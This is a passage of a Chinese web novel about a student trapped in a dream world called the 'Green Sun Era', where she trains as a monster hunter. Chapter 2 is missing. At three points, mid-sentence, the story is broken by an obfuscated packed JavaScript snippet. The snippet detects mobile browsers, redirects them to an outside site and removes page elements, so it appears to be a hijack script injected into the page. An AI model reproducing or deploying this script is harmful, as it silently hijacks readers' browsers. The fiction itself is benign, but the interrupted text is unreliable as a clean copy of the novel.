《在无限梦境角色扮演》 1. 绿日时代(1)所谓新人本 “八环。” “七环。” …… “成绩不合格,有请下一位。” 考核室没有窗户,只有东侧有一面看着黑乎乎的玻璃,头顶的白炽灯幽幽地散发冷光。连钰和其他训练生一起排列整齐,等候机器点名。 [新人本不应该简单一点吗?为什么一上来就要我射击啊。] 连钰感到很绝望。自己只是21世纪和平年代的普通大学生,为什么一睁眼就被拉入了所谓的梦境世界,第一个世界就考到了自己的盲区啊。 [所谓新人本,只是新人进的第一个世界。] 留声机E01慢悠悠地答。 连钰:? [我要投诉你。你这是诈骗!] [暂无权限。] 连钰怒从心中来,但是扫视四周只有其他紧张的训练生和看起来就很不好惹的大块头教官。连揍这个自称留声机E01的系统都没办法。 上一秒,她还在寝室看小说,下一秒就被拉入梦境世界,眼前是黑压压的训练生等待考核。系统告诉她,她进入了梦境世界,必须在每一个世界完成任务才能离开。至于什么时候脱离梦境,他不说,只说任务者表现优秀可以挑选梦境进入,不限停留时间。这岂不是终身打工? [真没见过你们这么剥削的。] 连钰眼看着一个个训练生上场又下场,心中呐喊,但又不得不因为担心自己的处境观察起来别人。 [拜托,打中八环、七环应该很厉害的才对啊。为什么连续三次后就不合格?] [在绿日时代,这样的射击成绩代表他们没办法保护自己,更不用说完成任务。] 好家伙,你总算透露-点信息了。 不过,什么是绿日时代?谁绿了太阳? 就目前的状况来看,这个世界对于武力值要求很高,而且所谓的训练还是为了保护自己……同来的训练生应该和她年龄相佛。他们中大多数人的脸庞还很稚嫩,皮肤弹润,眼神清澈,有着一股朝气蓬勃、没经过毒打的青涩劲儿。青少年时期接受训练,现在就要筛选,想必这个世界的环境应该很残酷。 丧尸、极寒,外星人占领地球…… 连钰想了一圈末世的模样,悲哀地发现无论哪一种她都不太想接受。可现实是轮不到她选择。 “李景阳。” 机械声点到的男生出列,在经过连钰时却顿住了脚步。 彼时连钰正为未卜的前途发愁,眉头紧锁,突然间一片阴影遮住了唯一的白色光源。 连钰抬头,就看见一个目测一米七几,身形瘦削的四白眼男生正噙着一抹笑盯着自己。 不知道为什么,连钰觉得自己能看清楚这个男生脸上的不怀好意。 “连钰,”四白眼男瞥见连钰紧锁的眉头好像更得意了,“虽然我的格斗成绩一般,但是我的射击可是进步不小。” “嗯……恭喜?” 四白眼男脸顿时拉了下来。 “祝你成功。” 连钰拍了拍男生的肩头。她还是很不吝于鼓励别人的。 李景阳成没成功尚未可知,但是连钰成功地把他气走了。 [在训练基地,你们的成绩差不多,采取排名制的时候你们轮流不合格被罚。] [所以他是在下战书?] 连钰顿时生出危机感。 俗话说,“学如逆水行舟……”李景阳要是进步不小,就是她的退步啊。 “十环。” “十环。” “十环。” “射击考核通过,有请下一位。” [三次十环才通过?要进步到这份上?我说真的,再不给什么新手包,我真的要无了啊啊啊。] [真的没有呢。] [你再“呢”个试试。] [放心,你接管的身体一直接受训练,有射击基础。等你拿起枪,你就知道怎么做了。] [……你不早说!] [呵呵。] 看在能过关的份上,连钰决定忽略这个嘲讽性很强的呵呵。 又上场了几人后,终于轮到了连钰。 连钰按照之前自己观察到的流程,拿起子弹一气呵成装入弹匣,然后迅速举起手臂,深吸一口气,感受气流从肺部缓慢排出的同时,视野里小小的靶子瞬间聚焦。 整个考核室似乎只剩下了正中间的红心,其余地方都像是模糊了。周遭的衣服窸窣声,机械声都消失了。连钰进入了一种奇妙的境界,整具身体随着视野达到前所未有的清晰而进入了备战状态。 子弹擦过枪膛发出极细微的声响,全中。然而连钰的视线里突然出现一头张开血盆大口、流下涎水的怪物,浑浊的土黄眼球转向相比起来十分娇小的人类女孩。连钰耳旁是训练生压抑住的惊呼,她没时间思考,身随意动,矮下身子,在怪物迅速转身扑来的时刻滑至桌底并射穿怪物的眼球。 “考核通过。”熟悉的机械音响起。 “咳咳,这是彩蛋环节。温室新研发出的虚拟对战技术,效果还不错吧?” 大块头教官不知道什么时候离开了队列,只有考核室的音响勤恳传递他略促狭的声音。 “教官,这可真是‘大惊喜’啊。”连钰低着头翻了个白眼,心跳还没完全从刚刚突如其来的惊吓中恢复。 “鉴于你是第一个开彩蛋的幸运儿,后面的格斗筛选你可以跳过。” ……谢谢教官!教官真好! 连钰不是完全没有感觉。虽然她刚刚被投入这个梦境就面临筛选,但是刚刚的一系列动作能让她感觉到,格斗不算是这具身体的强项。她的强项……应当是视力。连钰一边回味着射击时奇妙的感觉,一边走向通过者的队伍。看起来她的确完全继承了这具身体的能力。 听教官所说,温室是专门研发高科技的地方。这个世界的科技水平应当超过自己所处的年代。科技+武力,人类所面临的危机不小。 考核室旁边的玻璃幕墙后,一个身着黑色训练服的男人扯了下嘴角。 旁边的大块头教官瞅见了他的表情,揣度着开口。 “这批训练生有几个单科成绩亮眼,尽管整体实力不平衡。” “意料之中。要不是特殊情况,也不会提前筛选。”楚明锋将余光投向了走到队列末尾的连钰。 老赵叹了口气。 平时都说他严,他何尝不是希望这些小年轻真要进了夜猎小队,能顺利在外面活下来。 一个月前天山城还有一支全是高级猎人的队伍,不知怎么了,在回城路上消失了,只剩下完好无损的越野车停在树下。后来派出去的队伍发现车里的身份信息和丰富的物资,猜测他们是消失了,不是遭遇意外。 在老赵看来,这和死了也没什么区别。 那可是怪物横行的野外。就算是高级猎人又如何,人类的力量和怪物比起来,还是太渺小了。 可那一支队伍里任何人,都能把这个考核室里所有的训练生戏耍着玩。 “那个苗子,我要了。”老赵顺着楚明锋指的方向定睛一看,有些意外但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233448|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得在情理之中。 “这个孩子射击的确不错,动态成绩也很稳定。但……近身格斗还有待提升。” “我会教她。” 说完,楚明锋扔下若有所思的老赵径直从后门出去。 “小钰有啥好的,不就是射击还行吗。还有那么多人没看呢……” 老赵捋了捋下巴扎手的胡茬,百思不得其解。 此时,连钰还不知道自己刚刚被“内定”了,她正一脸震惊地观看格斗考核。 一位扎着马尾辫的女生凶狠地把对面看着膘肥体壮的男生揍趴下后,利落地一甩头,汗水打湿的额发贴在她偏小麦色的额头上。连钰正看着女生干净的动作默默学习,心中崇拜酷姐时,扎发女生转身,让连钰得以见到真容。 ? [她好可爱啊……] 马尾女生鼻梁高挺,鼻头却有点肉,偏圆的大眼睛看过来时亮晶晶的,格外有神。很难想象长相洋娃娃般的她刚刚在两分钟内就打赢了体格远超她的“壮汉”。 [荣倩倩。她是你同期训练生最强之一。几乎每一次各项考核都是满分,格斗从未输过。她很擅长以弱克强。] [不愧是我女神……] [你应该庆幸你是抽到彩蛋的幸运儿。她打赢的那个,可比你强。] 谢邀。她冷静多了。 连钰一轮筛选提前宣告结束,剩下的时间忙着观察每一个人,倒不觉时间流逝。 “你赢了。”众人列队走出考核室时,李景阳插到了连钰后面的位置。 连钰不想理他,但转念一想又坏笑起来。 她头也没回地故作深沉地说: “你不是输给了我,你是输给了你自己。” “别得意。我就算留级训练又怎样?我父亲在温室工作,无论如何,我都不会沦落到分配到工业区。” [系统你听听他得意的。谁还不是温室的花朵了。比如我,给我发个金手指吧~] 连钰吐槽,但不得不承认,这个温室听起来就很厉害,研发高科技的机构在任何年代都备受重视,何况在这个看起来就是末世的时代。 [你有的,等着瞧。] 小小系统竟如此猖狂,连钰刚想怼回去,就在踏出建筑大门的一刻愣住了。 头顶的天空一片漆黑,一颗星星都没有。只有一架飞行器恰好飞过。除了自己所在的训练基地相对矮一些,只有十几层,其余建筑物都高得出奇,最显眼的是北方的一座方形尖塔,尖端淬了绿色,幽幽地矗立在黑夜之中。 绿光。 天地间的一切都笼罩在一层薄薄的绿光之下。四散的绿色光晕宛如萤火虫被揉碎了,融入无尽的夜色。一眼望出去没法找出这绿光的光源。 这个梦境叫作绿日时代,绿日难道就是眼前无处不在的绿光吗? “你再盯着温室看也没用,那里不是你这样的人能随便进入的地方。”李景阳走过连钰身旁,轻蔑一笑后离开。 原来那座方尖塔就是温室。 留声机触发指令般播报道: [你所在的大型人类聚居点叫永昼城。这个世界没有白天,太阳已经从人类的生命里消失长达108年。时间只是人为设定的标准。你看不见的头顶上,有一片巨大的穹顶。绿光,是穹顶净化器的副产物。失去了太阳,外界又被污染,人类依赖被称为“绿日”的一体净化器生存。] [感恩绿日,赞美绿日。] [欢迎来到绿日时代,你的任务是……] [探寻世界真相。] 3. 绿日时代(3)帅哥队长第一次见就要我做任…… “原来我们都要来1601。”连钰有些惊讶。荣倩倩通过一轮筛选在情理之中,不过她们俩不会是分到同一个小队吧?她忍不住开始畅想和可爱妹妹打怪的美好未来。妹妹武力这么高强,能不能稍微保护她一下……连钰知道自己这么想很惰性思维,但是想做条咸鱼是人类本能,她只能努力克服。 “都到门口了,为什么不进?”1601的门突然从里打开,一个需要两人抬头仰望的男人出现在门口。男人的黑发很短,露-出了饱满的额头和高挺的鼻梁,下颌线条利落但眼型柔和,弱化了海蓝色眼睛自带的距离感。 不管在哪,混血儿都容易自带容貌优势。连钰的视线在神秘男人和荣倩倩之间转了转,感到颜狗的人生在此刻得到了升华。 “楚、楚队。我竟然被分到了您的手下!”还没等连钰想神秘美男是谁,荣倩倩就小脸通红,杏眼睁得圆圆的,和连钰小时候吃干脆面抽到了自己想要的卡片时的兴奋劲儿一模一样。 懂了,这男的肯定很厉害。 连钰连忙模仿了旁边女孩的神情,伪装成“你好厉害我好崇拜”的样子,免得自己站在这太不和谐。不过她之前颜狗的表现应该不出戏。 “进来吧。”楚队好像已经习惯了年轻训练生对他露-出崇拜的表情,只是侧身示意她们进门。 1601室很空旷。地面铺有一层软垫,房间中间摆着一张桌子,还有几张毯子卷在角落,除此之外别无他物。 “你们今天的测试很简单,”楚队从桌子上拿起一本巴掌大的皮质笔记本,“在这里待够两小时,时间到了我会来。” “就这样?没有更多的考验?”荣倩倩有些失望,她早就迫不及待想给偶像看看自己的实力了,要是能得到点评更是无憾。 “有要求,”楚队抬腕看了通讯器,在笔记本上划拉几下,“不许出声。发出任何人耳可以听见的声响都算失败。” 那岂不是动也不能动。虽说连钰她们穿着的训练服材料特殊,不会像从前她穿过的冲锋衣一样发出摩-擦声,但她有预感,像楚队这样的优秀人才搞不好真能听出来。否则,为什么只要求人耳不能听见就行,肯定有坑。 再说,她们所处的16层附近正好没有空中轨道,整层的空间都安静得过分。估计重一点的呼吸声都能听见。 就在她内心吐槽的时候,楚队已经走到了门口。 “对了,”他偏过头看向连钰,“你不认识我吧。还没有自我介绍,我是楚明锋,编号1030820001Y,可能会是你的队长。” “两分钟后计时开始,请找到合适的位置等待测试结束。”说着,楚明锋动作轻柔地合上门。 连钰若有所思地收回视线,就看见荣倩倩欲言又止,估计是想要刨根问底但又考虑到正在测试不好多说。 “我孤陋寡闻。”连钰言简意赅。荣倩倩用眼神传递出“好吧服了你了”的意思,紧接着就去靠里的角落坐下。连钰去往处于她对角线的角落,想了想,躺了下来。 这垫子还怪舒服,真适合睡觉啊…… 她翻过身,背抵着墙闭上眼睛。然后等她闭眼后数息,室内的灯光突然灭了,眼皮上模糊的红色变为黑暗。连钰知道,肯定是楚明锋切断了光源。 1601和昨天的考核室一样没有窗户。至此,两个女孩都陷入彻底的黑暗。连钰没有听见对角线那端的女孩发出动静。想来她也有所预料。 只是不能发出动静还不够,楚明锋想要考验的是她们的心理承受能力。据说人类无法忍受五感消失,总得依靠感官确定自己的存在,长时间的不确定感会让人类陷入自我怀疑。 可是楚明锋不知道的是,连钰早已习惯了一丝声响都没有的黑暗。她甚至,爱极了。 在没有边际的墨色里,她可以是一条小舟,一片叶子,一粒灰尘,自由自在地漂浮在没有来处和目的地的无限空间里。只要她还有思想,还能在脑海里勾勒出自己想要的世界,那么她就不害怕。只有在这种无他力干扰的世界里,她才能确定自己的存在。 滴答,滴答。 她在内心构建的小屋里装上了一面钟,秒针敬业地转动着。连钰把布艺沙发上的靠枕拍松软,将自己扔进土黄-色的沙发里,变成了一颗土豆。很久很久以前,她就希望这间熟悉的屋子只有自己一个人了。现在,她近乎宣告般地真的离开了这间屋子,却又开始怀念。她怀念窗外偶尔悬停在电线上的小鸟,城中村里才有的、瓦片作屋檐的平房,和楼上间或响起的冲水声。她想要停留在人群之外,但不希望被迫长久地别离。 所以,即便留声机赐予她的是能够场梦不醒的美梦,她也要挣脱束缚。她才是观众,她不要做别人的演员。 “啪嗒,啪嗒。”小屋外下起了雨。连钰知道,现实里的永昼城应当也下雨了,不过她怀疑这是楚明锋的把戏。在被迫忍受长时间的孤寂后,也许有人会在听见一丝声音时就忍不住欣喜,呼吸声变粗,甚至不受控制地向声源倾斜身体。 还好她看好的小荣没有上当。 又不知过了多久,久到连钰在内心小屋盯着时钟的分针走了好几圈,走廊里真的传来了脚步声。 “表现不错。”楚明锋蹲下身,直接一把捏住连钰的脸蛋,成功接收到了她的瞪视。 “考核已经结束了,放松些,”紧接着他压低音量,俯下身,“你很聪明,已经摸到了门路。” 连钰皱眉,迫于空间被挤压不得不躺在原地,见他压低了音量,只好用眼神示意他快说。 “你的视力格外好,好到能在射击时有时间放缓的错觉。” 连钰呼吸一顿,没有反驳。楚明锋应当比她了解所谓的特殊能力是什么,看他的样子,这还算是个秘密。 “不要告诉任何人你的特殊之处,否则,”他露-出了一个堪称阳光的笑容,眼睛弯成了有一片海的月牙,“否则你很可能会很快迎来终局。” 说完,他立即站起身,仿佛刚才他只是确认连钰的状态。荣倩倩在房间对角线另一端,有楚明锋挡着,她没法看见刚才发生了什么。 “都没事吧,”楚明锋来回看了看两人,确定精神状态良好后满意地点了点头,“那我们现在就出发。” 连钰一愣,饭点了,难道队长也要请客吗?今天早上小荣请她吃早餐,中午队长又请,在末世梦境的生活也没有那么差嘛。 “去哪啊。”一脸懵的小荣问道。 “去做任务。”楚队嘴唇微抿,眼睛和鼻尖皱出了好看的幅度,笑得人畜无害,可说话内容像个惊雷。 “现在?”两个新晋猎人同时发出疑问,一个表情呆滞,另一个欣喜若狂。 “现在,立刻,马上。”楚明锋一手推一个人走进电梯。 “放心吧,物资车辆已就绪。我早有预感你们会是我的伙伴,已经做好准备工作了。” “谢谢?”连钰欲哭无泪,默默数着电梯屏幕不断跳跃的数字。 “队长,我们去哪里啊,任务内容是什么?”荣倩倩同学不愧是训练生战力最强,已经等不及要见见外面的世界了。 “梅花落。” “啊,是不是据说执掌者是一位强大的女性的聚居点?” “没错。” “那个,”连钰默默举手,“不先吃饭吗?”她想做个饱死鬼。实现远大的理想前总要填饱肚子才有力气。 “放心,会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233450|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吃饱。”楚明锋狡黠一笑,把连钰塞进了副驾驶。“你就坐这,一会儿观察行驶路线的右方。倩倩,你坐后排防守。” 一小时后。 连钰成功吃上了迟来的午饭,午饭很香很好吃,是蛋白质的味道,虽然蛋白质的原型非常之丑恶。 当年外地室友邀请她吃虫子,她敬而远之。现在队长邀请她吃虫子,她先沉默不语(不敢拒绝),漠然处理材料,接着震惊观看队长去除所有外皮就把白-花花的虫肉塞到了嘴里咀嚼,最终在持续被香味入侵鼻腔后选择闭眼就吞。 “我在吃虾仁,我在吃虾仁……唉?还挺好吃!” “我也是吃虫子的狠人了。”连钰苦中作乐地想,等习惯了,她说不定能和贝爷一起旅行。但是这里的虫子好好吃……虽然没有对比,但是她直觉认为一般的虫子应当没有这么嫩滑的口感、鲜甜的味道,还自带诱-人的香气。 “钻地虫烤起来更美味。体内的油脂会顺着肉掉进火焰里,蹿起来的火苗让虫肉微微发焦。咬开略酥脆的外表后,里面的肉和生吃时一样弹牙,还能烤出肉汁。”楚明锋笑看两个人狼吞虎咽,时不时扫视周围的丛林,防止有任何生物被钻地虫的香气吸引来。 “可惜现在不能烤着吃。”荣倩倩舔舔嘴巴,仍然在回味这从未尝到的口感。 “如果在外面能天天吃钻地虫,我可以一直接任务。”连钰已经成功将钻地虫等同小龙虾,意识到这明明就是不可多得的美味。 “你就想想吧。”楚明锋收起东西,把剥下来的虫衣塞进压缩袋。“钻地虫之所以叫钻地虫就是因为它习惯在地下生活,遇到危险时能迅速土遁避险,伤害力不高,但也很难抓获。今天算是你们走运。” “不过,我可以猎点别的。要不就是去附近的人类聚居点换取食物。”还没等楚队塞人,俩新人就迅速进入车辆,一脸乖巧地等楚队科普。楚明锋挑了挑眉,带上车门,迅速驶离。 一路上,连钰又开始睁大眼睛观察右侧情况。她一直在练习,让自己进入神奇状态,现在她基本上能够控制自己进入状态。就像摁开关似的。 但是…… 连钰眨了眨眼。 怎么感觉眼眶越来越烫。 “倩倩,把我的背包给连钰。”楚明锋突然出声。 “打开背包,里面有半瓶水,倒在你自己的方巾上冷敷。”夜猎小队成员的背包内都装有几块方巾,有大有小,用于在野外包扎等用处。 连钰照做。尽管瓶里的水漂着奇怪的银色碎屑,看起来像变质了。荣倩倩见状挪了下身子,尽量让自己能同时观察后方和右侧。 “真的好多了……”片刻后连钰揭下方巾,发现原本沾在上面的碎屑不见了。在她不知道的时候,她的眼睛奇异地亮了一瞬,像盛满了银河。 “没想到真有用啊。”楚明锋抽空瞥了一眼,满意地收回视线。 这家伙之前竟然不确定这瓶疑似变质的水有没有效果。 “别瞪我,看路。” “知道了。”不就瞪了一眼吗。 “在外界你们要时刻注意污染值,不要超过80的浓度。” 连钰听到后低头看了眼手腕。35。她出发前在城内有绿日净化器的情况下就是35,刚才过度使用眼睛后她低头看见的应该是39…… “目前只有绿日能起到净化作用,但是必须是像城内那样大规模的才有用。猎人出行缺乏净化设备。你们初次出城,一定要时刻注意身体状况。” 连钰和小荣点头称是,但连钰觉得哪里有古怪。 楚明锋突然提到的污染值,应当是永昼城都知道的常识吧,特意说明一下,就好像……在说给她听。 4. 绿日时代(4)打了一只怪 那瓶水应当有奇异之处。自从见到这位队长,连钰就颇感不对劲,队长想和她说的话都要通过“加密”的方式透露,让她愈发对永昼城起了疑心。抱歉,实在是永昼城太像反派了。 缺少可携带的高效净化器就算了,连防护服都不给只有作战服。“净化”猎人的方式应该是别的,宁愿先污染再净化也不愿意给个“大哥大”式装备,这些大型城市绝对不是因为抠搜才这么做。 可是,他在同时防着小荣吗?不对,小荣只是新出炉的猎人,如果私底下和任何楚明锋认为有问题的城内高层有接触,他就不会挑选这样一个麻烦。只有可能是小荣暂时还没到透露消息的地步。 因为进化能力? “梅花落的执掌者是位传奇女性,曾经是别的聚居点的奴隶。”楚明锋冷不丁地提起任务对象,打断了连钰的思绪。 “奴隶?”虽然在知道永昼城内设有“乐园”后,连钰就猜测到这个末世还没有统一且富有人性的领导者带领,许多制度的存在仅仅是让人类生存而已。但是奴隶一词距离她生活的时代太遥远,乍一听她还是忍不住反感,但一想到时代背景又只能在内心叹息。 梅花落的主人得有多强大的实力和内心,才能从奴隶一跃成为中型聚落点的执掌者呢? 车内沉默了一瞬,仿佛呼吸都静止了,而车窗外闪过的恰好只有延绵不绝的绿植。 在人类活动得到近乎禁止般的限制后,自然界悄然焕发生命。外界没有城内的净化器,只有无尽的夜幕,但绿色仍然时不时地冲破夜色,让人不得不注意到。 “不错,奴隶。除了较大的城市,其它聚居点可能昨天还存在,今天就因为怪物入侵或内部斗争就消亡了。” “所以,许多小型聚居点管理混乱,大多是围绕着个别实力强劲的人或团体建立,其他人都是附庸。久而久之,就出现了奴隶。”楚明锋说话时神情没有太大变化,但连钰下意识地用能力观察到他眼角的细纹略深了些。 “男人如果身体孱弱,又没有足够的头脑,就是这些聚落的消耗品。怪物来袭时,就被扔出去。有时候怪物吃饱了会离开。女人天然具备其它属性,成为奴隶或许能保全性命。” “我知道很多怪物具备初等智慧,但是它们直接狩猎所有人不好吗?为什么真的会‘和谈’?”小荣有些不解。可能在所有没有真的和怪物数次正面交锋的菜鸟看来,怪物都没有人性、以血肉为食,于是想当然地认为怪物的行为都是动物性的,缺少高等生物的“策略”。 “只是有时候会撤退。怪物是不可被理解的,它们是天生游戏人间的猎手,拥有绝对武力,却没有与之匹配的道德,虐杀、戏耍猎物,都是他们的本能,但是……”楚明锋无奈一笑,“当怪物意识到这个地方的蝼蚁会不断‘上贡’,就像是葡萄藤在特定时间会结果,它们就不急着一次吃完了。” “其实这也算是本能。”连钰喃喃道。如果有的地方怪物真的因此撤退了,那个聚落点内的人为了产出更多的贡品,内部会互相倾轧,实力不济、斗争失败的会被清算,而女人……大概全都会变成葡萄藤。 “这样不是自取灭亡吗?人类的整体实力会不可避免衰落,等怪物腻了、想吃肉了,他们只有死路一条。”连钰攥紧了方巾,强迫自己望向窗外。绿色和黑色交织的画布上,看不见人类的鲜血。 “饮鸩止渴,也算解了一时的口渴。”小荣收敛了初次执行任务的兴奋,说话声不自觉地压低了些。 “你还没说梅花落的执掌者究竟是谁呢。”连钰将自己从情绪中抽离,问起了一开始的话题。 “据说她曾经叫灰兔。奴隶的名字向来都很随意,没人知道她现在的姓名和长相。知道她过去的人不是死了,就是她的心腹。梅花落明面上的高层有后来的,还有一些元老,恐怕只有元老才能联系她。” “她这样怎么掌控梅花落?” “因为……明面上还有一位灰兔。几乎所有人都以为那才是灰兔本人。” “你怎么知道?”连钰和小荣异口同声地问道,两人同时回过头,瞬间从之前那副战战兢兢盯着路况的新人状态脱离。 “秘密。”楚明锋驾驶的同时还抽空给了副驾驶的连钰一个wink,得意极了。 “既然队长知道这么多秘密,还要我们打听什么消息。”连钰暗暗翻了个白眼。 “当然是能让永昼城有把握吞并梅花落的消息。” “队长,这是上级直接说明的,还是你的猜测?”连钰犹豫了下,只是探听消息有可能是为了交易,让猎人在外行走方便,队长却这么肯定永昼城是要吞并。 “永昼城之所以屹立不倒,就在于……它一直在吞吃其它聚落点啊。不然,城内的生产力在最初可是跟不上供应的。猎人一旦出现青黄不接的情况,城市就很容易在某一次对战中倒塌。” 如果是单纯吸纳小型聚落点,楚明锋的语气应当不会暗含嘲讽。而鲸吞了其它聚落资源的永昼城,不可能留下被入侵聚落的高手,否则是自找麻烦。其他人…… 连钰的汗毛一瞬间站立了起来。 其他弱者,是都去了乐园吗? 毕竟人是珍贵的资源,将对手屠戮殆尽也会让永昼城引起其他所有势力的警惕,唯有不动声色地“吸纳”弱势聚落的人,才能顺理成章地最大化消化到嘴的肥肉。而乐园的人……无论如何都有一口饭吃,被圈养惯了的就只能是种子,不能做人了,实力较低的他们不会也不能拿起武器反抗。 荣倩倩沉默不语,不知道什么时候转过身继续盯梢。每一个永昼城的居民都享受了城内的血腥积累,她没有资格指责这座城。 “等等!”黑暗中快速后退的画面里,有一处叶子不寻常地抖动了下,在这之后右侧沿途的树林都开始有动静。就好像……有什么东西跟上来了。 “现在才遇到怪物,已经算我们运气好了。之前的钻地虫可是小菜,队长我打给你们吃的。”楚明锋淡定地将车开出飞速。“现在,轮到你们了。” 不是你没搞错吧,攻击力低的怪物你自己打了,轮到这不知道是什么但看起来不弱的,你就甩给我们新人了,这真的合适吗。连钰内心叭叭着,手上动作一刻不停,在荣倩倩喊出声的时候就把一直握着的方巾塞回了背包,接着掏出了狙击枪拉开保险栓。 射击这种事,还是交给她这个“千里眼”吧。连钰情绪波动时内心就会快速输出一-大堆有的没的,好在她是内心吐槽机,表面稳如狗。 连钰的视线聚焦在有规律波动的植物后方,在车辆高速行驶时透过不同角度的间隙瞥见了怪物。 “目标外表有铁黑色外壳,眼睛在头颅两边。”难怪这怪物跟随车辆是一把好手,敢情眼神长歪了。 “是变异风狼,特点是速度快,擅长追踪。”荣倩倩不愧是高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233451|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材生,立马回忆起训练内容。 “他的眼睛在侧方,队长,我们得借地形拦截他,从正面攻击。”连钰没有绝对把握自己能在怪物的注视下一击必中,况且车速太快,子弹偏离了一点点,就只会激怒怪物而造不成实质损伤。 “风狼正面有一处突起非常柔软,击中疼痛感很强。”荣倩倩抽出短刀,打开了车窗。 “收到。”楚明锋听话地把车开出了漂移。这也就是仗着地形平坦才能这样玩。 连钰在越野车变向时借左臂和右腿固定住自己。楚明锋挑选的时机刚刚好,右侧成片的密林恰好在此处出现断层,怪物无处可藏,在一瞬间正面对上了车内的连钰。 按照风狼的速度,下一秒就会狠狠撞击上来。连钰当机立断按下扳机,击中怪物头颅正面的脓包状突起。 “噗。”消音器让枪声变得极小,但怪物爆发出怒吼,前肢挥舞着要抓胆敢伤害他的人类。 连钰倾斜身体,迅速对准怪物眼睛补了机枪,怪物彻底丧失左眼视野后陷入癫狂,荣倩倩一蹬座椅,从车内借势抓住怪物身体上的突起,三两下飞身上去,骑在了怪物背部。 变异风狼的弱点是正面的脓包,但核晶在背部。因此,遇到风狼的队伍除非有地势便利,必须要有人近身战斗。 风狼顿觉不妙,本能让他往侧方倒下,想将可恶的人类甩下去。但荣倩倩全身的肌肉在一瞬间爆发出力量,让她在快落下的时刻勾住核晶,短刀一剜,一颗冰凌凌的核晶就此滚落。 变异风狼如愿倒下身体,却没能再站起来。失去核晶的怪物在原地抽搐了几秒,就停止了呼吸。 楚明锋在荣倩倩跳出去时就立即将车停在距离怪物十米远的地方,但等他跳出来准备帮忙时,荣倩倩已经结束了战斗。 凭借超强视力看清楚一切的连钰默默在心中给武力爆表的妹妹点了赞。 “阿秋——”虽然荣倩倩的战斗堪称教科书般利落漂亮,但她为了避开怪物倒下的身躯向旁边滚了几圈,站起来时还打了个喷嚏。 “看,这就是核晶!”下一刻荣倩倩就掏出她捡起来的核晶,眼神和核晶一样亮。 “跟冰块似的。”连钰诧异于怪物核晶的美丽,其实说是冰块,核晶更像是冰糖,表面抹了层薄雾似的雾面,但在转动间会折射出淡蓝色的光。 “风属性的怪物大多拥有冰蓝色核晶。”楚明锋接过核晶顺手塞进了贴身斜挎的小包。 “走吧,离这不远有个聚落点我比较熟,我们在那里休整。”楚明锋提溜着两个队员回到车内。连钰很想说,为什么队长你这么爱推着我们走,但想到楚明锋也许会为了逗她们口吐一些惊人话语,决定还是闭嘴。 “对了,”楚明锋状似不经意地说,“不要说我们是永昼城的,就说是天山城的。”说着他扔来两块徽章,连钰摸了摸,发现雕刻的山峦还挺精致。 “因为我们是反派?”她想到永昼城的所作所为和队长暧昧的态度,猜测永昼城在外界说不定已经成为了中小聚落的第一防备对象。 “因为永昼城的实力很强。”楚明锋呵呵一笑,“饿极了的兔子还会咬人。我们身怀巨富,可得小心打劫。” “多一事总不如少一事。”荣倩倩点点头。 连钰摸了摸包里的东西,不得不承认他们说得对。不过,装成天山城的人能行吗?毕竟有钱人总会不经意间“炫富”啊。 5. 绿日时代(5)来杯海洋之吻 据楚明锋说,按照通用计时,现在是黄昏。说这话的时候,他没有看手表,见自己的队员不明白,他指了指西方的天空。 新历后,地球只有黑夜。失去了太阳直射的外界温度直降。但奇怪的是,人类并没有迎来预想的极寒。除了热带动植物,其余生物竟都得以存活,其中不少进化出了新的模样。后来,永昼城的温室调查得出,太阳并非消失,而是被遮蔽了。不知是什么怪物在高空形成了“界”,一种人类在末日失去所有尖端科技成果时无法探测研究的物质。“界”像一层蛋壳把地球包裹了起来,甚至可能在吸收太阳本来能够传递给地球的能量。 自此,人类猜测,怪物需要能量。通常,人类遇到的大多数嗜血怪物以血肉为食,不仅直接导致人类可猎捕的动物锐减,而且喜爱戏弄捕杀人类。人类在它们眼中和兔子没有区别。但在这种怪物之外,应当还有高级别怪物活动。高级怪物能摄取不同形式的能量,就比如人类最需要的太阳。 所谓的永夜是怪物捕获阳光、困住人类的“界”,有时候,在太阳最盛的时候,少数人能在天空发现有一块地方深紫近乎黑色。那就是久久未见的太阳。 现在,按照楚明锋的视力已经捕捉不到有色差的区域了,但这之前他看见了太阳往西移动。 “难道高级怪物真的无法打败吗……”荣倩倩一下一下地擦拭着短刀。 大概每个人在听到这样的信息后都难以平静对待。如果怪物强悍到遮天蔽日的程度,截获如此庞大的能量,那么猎人出生入死能改变现状的可能性就太低。 “要是真刀真枪的干,肯定不行。再强大的生命也会有弱点。要是放弃抵抗,就绝对没戏了。”连钰抽过荣倩倩的刀套,轻柔地握住她的手,将短刀收了起来。 “别灰心啊。”楚明锋揉了揉她俩的脑袋,成功收获了两个队员的瞪视。 